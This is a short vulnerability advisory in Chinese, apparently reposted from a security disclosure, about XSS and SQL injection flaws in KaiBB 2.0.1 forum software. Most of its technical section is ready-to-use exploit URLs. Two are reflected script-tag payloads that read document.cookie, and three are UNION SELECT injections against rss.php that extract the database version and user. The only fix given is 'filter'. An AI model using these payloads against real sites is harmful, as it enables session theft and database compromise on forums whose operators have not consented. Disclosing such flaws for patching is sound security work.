标题:  KaiBB 2.0.1 XSS and SQL Injection vulnerabilities 

作者:  Stefan Schurtz 

影响软件:Successfully tested on KaiBB 2.0.1 

开发者:http://code.google.com/p/kaibb/ 

缺陷分析：

概述: 

KaiBB 2.0.1 含XSS 和SQL Injection

技术分析 ：

Cross-site Scripting 

http://www.2cto.com /kaibb/?'</script><script>alert(document.cookie)</script> 

http://www.2cto.com /kaibb/index.php?'</script><script>alert(document.cookie)</script> 

SQL Injection 

http://www.2cto.com /kaibb/rss.php?forum=' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL AND 'a'='a 

http://www.2cto.com /kaibb/rss.php?forum=' UNION ALL SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL AND 'a'='a 

http://www.2cto.com /kaibb/rss.php?forum=' UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL AND 'a'='a 

解决：

过滤